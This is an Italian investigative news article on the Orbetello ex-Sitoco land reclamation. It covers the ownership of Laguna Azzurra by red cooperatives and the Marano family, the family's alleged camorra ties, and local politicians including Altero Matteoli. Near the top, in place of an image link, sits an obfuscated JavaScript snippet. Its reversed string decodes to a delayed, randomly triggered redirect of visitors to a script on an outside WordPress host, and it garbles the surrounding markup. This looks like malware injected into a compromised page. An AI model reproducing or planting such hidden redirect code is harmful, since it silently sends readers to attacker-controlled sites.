Ci risiamo. Coop rosse e camorra, sempre in Toscana, questa volta ad Orbetello

image_pdfimage_print

Orbetello. Nel regno del ministro-sindaco Altero Matteoli, l’inciucio tra destra e coop rosse sulla bonifica dell’ex Sitoco

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/11/sitoco.jpg”>
La ex Sitoco ad Orbetello
Le acque tranquille della laguna di Orbetello da un mese a questa parte sono agitate da un’onda lunga partita da Napoli. Arresti, bancarotte, affari tra coop rosse e imprenditori di destra legati alla camorra: mai si era visto nulla del genere all’ombra dell’Argentario. Tutto comincia il 6 ottobre 2010 quando il gip di Napoli concede ai pm Catello Maresca e Clelia Mancuso gli arresti domiciliari per l’ex senatore di Forza Italia Salvatore Marano, 55 anni e per i suoi due fratelli maggiori, Francesco (70 anni) e Stefano (65 anni). Costruttori molto chiacchierati di Melito, a nord di Napoli, i Marano sono accusati di avere venduto case sulla carta e di avere ottenuto fidi allegri per le loro società poi fatte fallire.

Il ruolo dei Marano
Gli arresti qui fanno rumore non per le accuse di bancarotta ma perché, grazie all’indagine, vengono a galla gli interessi trasversali sulla laguna di Orbetello. Nel silenzio della politica locale, una società privata sta realizzando una delle più imponenti opere di riqualificazione e bonifica d’Italia. Ora si scopre che la Laguna azzurra srl è di proprietà delle coop rosse e del gruppo Marano, capeggiato dal politico Salvatore ma anche dal fratello Stefano, indagato (e prosciolto) anni fa per i suoi rapporti con il clan Di Lauro. Il 27 settembre scorso, appena 10 giorni prima dell’arresto dei Marano, la Laguna Azzurra aveva presentato alla presenza di Comune, Ministero dell’Ambiente e Regione, il suo progetto per la bonifica della zona. Primo passo di una grande operazione speculativa che ha come scenario 55 ettari tra la stazione della ferrovia e la laguna, disseminati di stabilimenti industriali in disuso per 400 mila metri cubi. La Sitoco ha dato lavoro a 200 famiglie per 70 anni, ma ha lasciato qui pesanti tracce sul terreno e nelle acque. La fabbrica della Montecatini dal 1908 al 1978 ha prodotto concimi chimici trasformando con gli acidi la pirite delle miniere dell’Argentario. Alla laguna ha lasciato un monumento di archeologia industriale, fabbriche in mattoncini rossi, ma anche due isolotti di materiale inquinante per un paio di ettari e una montagna di rifiuti che rilasciano veleni. Il 26 novembre del 2006 il governo ha stanziato 6,7 milioni per la bonifica. Comune e Provincia sognano la nascita di “un centro integrato nell’ex stabilimento Sitoco che privilegi attività di ricerca e didattica ambientale, artigianato, commercio, turismo, nautica e gestione connessa alla laguna e direzionale in genere”. La società ovviamente punta a costruire anche villette e appartamenti per massimizzare l’utile. Non è stato ancora stabilito cosa e quanto potrà costruire ma anche ipotizzando un indice edificatorio dimezzato rispetto ai capannoni attuali si arriverebbe a un valore commerciale di decine di milioni di euro.

L’amministrazione di sinistra che governa la Regione e quella di destra che comanda a Orbetello, potrebbero concedere alla Laguna Azzurra Srl (delle coop rosse e della famiglia Marano) il permesso di costruire 200 mila metri cubi a pochi chilometri dai porti dell’Argentario. Non sarà un caso se a rilevare nel 2004 all’asta fallimentare per 7,2 milioni di euro lo stabilimento e i terreni si sia presentata la Laguna Azzurra, con il suo azionariato diviso equamente tra i meridionali vicini alla destra e i settentrionali delle coop rosse. Le quattro società “napoletane” con sede a Roma (Ieron, Dodecapoli, Gigli di Castiglia e Lucumone) detenevano fino al 2009 il 50% mentre il restante 50 dell’azionariato era diviso tra i veneti della Coop Clea di Campolongo Maggiore, gli emiliani della Cmr di Argenta e della Coop costruttori di Fiorenzuola d’Arda e i toscani del Consorzio Etruria, che hanno ceduto poi il posto alla Cooperativa dei muratori e sterratori di Montecatini nel 2008. In quell’occasione, il “gruppo Marano” ha ceduto il 10% e così oggi la guida di Laguna Azzurra è passata alle coop che esprimono l’amministratore. Secondo i pm, il politico Salvatore Marano era “il gestore di fatto della Laguna Azzurra, determinando le scelte imprenditoriali della società, pur senza essere investito di ruoli apicali nell’organigramma della medesima”. L’uomo forte dell’impresa era, però, Stefano Marano, che possedeva attraverso il figlio e due cognati 3 quinti delle società “napoletane” azioniste di Laguna azzurra.

Le indagini dell’Antimafia
Stefano Marano compare più volte negli atti della commissione Antimafia della scorsa legislatura, dove si legge che il boss Paolo Di Lauro fu fermato nel 1995 “insieme ad altri pregiudicati quali Prestieri Maurizio, Fusco Francesco, Mazzola Raffaele a bordo della Mercedes targata Napoli V12679, nella disponibilità della ditta edilizia Marano facente capo appunto alla famiglia Marano”. Non solo. Stefano Marano “era stato controllato il 18 maggio 1995 in compagnia di Riccio Domenico (nato a Napoli), ritenuto riciclatore del clan Di Lauro e rimasto ucciso il 21 novembre 2005”, a Melito. Il pm Corona raccontò che anche il figlio del boss, Cosimo Di Lauro, era stato trovato nel 2004 in una casa nella disponibilità di Stefano Marano.

Storie vecchie che non hanno impressionato gli amministratori di Orbetello. Il sindaco dal 2006 è il ministro Altero Matteoli, ma l’uomo forte della laguna è il suo amico e compagno di partito dai tempi del Msi, Rolando Di Vincenzo. A lui le Fiamme gialle di Napoli si sono rivolte nel 2008 per capire il ruolo dei Marano nella Laguna Azzurra. Secondo Di Vincenzo, Salvatore Marano era la persona della società che aveva incontrato “con maggiore frequenza” e “con il quale si sono instaurati anche rapporti amicali”.

Di Vincenzo ha strappato il Comune ai rossi nel 1997 e nel 2003 è stato nominato commissario del Governo per la bonifica della laguna, con il placet del ministro all’ambiente Matteoli. Nel 2006, avendo superato i due mandati, ha lasciato il municipio all’amico ministro e ora si è appena ricandidato. Matteoli gli ha lasciato la delega all’urbanistica e il ruolo di commissario delegato a risanare la laguna grazie a una serie di stanziamenti milionari, l’ultimo dei quali di 6,8 milioni attribuito dal governo Berlusconi nel 2008. “Naturalmente – tiene a precisare Di Vincenzo – le spese vengono sostenute dal commissario solo per la parte pubblica dell’area mentre per la parte di proprietà privata paga Laguna Azzurra”. Nel silenzio di destra e sinistra, l’unico ad avanzare qualche dubbio è il consigliere comunale di Rifondazione, Giuliano Baghini: “Dopo gli arresti vorrei capire se c’è un legame tra i lavori della Laguna Azzurra dei Marano e i 6,7 milioni di euro stanziati nel novembre 2006 dal Governo Prodi per bonificare la ex Sitoco”. A dirigere i lavori di bonifica per Laguna Azzurra c’è Francesco Antonio Martino di Grosseto. L’ingegnere nel 2006 fu sentito nell’ambito dell’indagine Poseidone dell’allora pm Luigi De Magistris.

I bonifici all’ingegner Papello
L’indagato principale di quell’inchiesta era Giovanbattista Papello (poi prosciolto a Catanzaro ma non a Roma per un filone laterale), responsabile del Commissariato all’emergenza. Quando scoprirono che Martino pagava parcelle al responsabile del Commissariato, i carabinieri rimasero sorpresi. Lui, senza fare una piega, spiegò: “Nel 2002-2003 ho versato bonifici all’ingegner Papello di circa 180 mila euro perché ha svolto su mio incarico lavori presso la laguna di Orbetello negli anni 1999-2001: si tratta di prestazioni professionali, regolarmente pagate e fatturate. Successivamente Papello mi ha contattato per lavori in Calabria, in quanto confidava sulla mia elevata professionalità nel settore”. In una precedente informativa dei carabinieri si leggeva: “Papello è in stretto contatto con Martino, amministratore di società che si occupa di tecnologie ambientali e consulente del ministero dell’Ambiente (allora guidato da Matteoli, ndr)”. Oggi Papello è direttore amministrativo e tesoriere della “Fondazione della Libertà” del ministro Matteoli.

di Marco Lillo per il Fatto Quotidiano

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *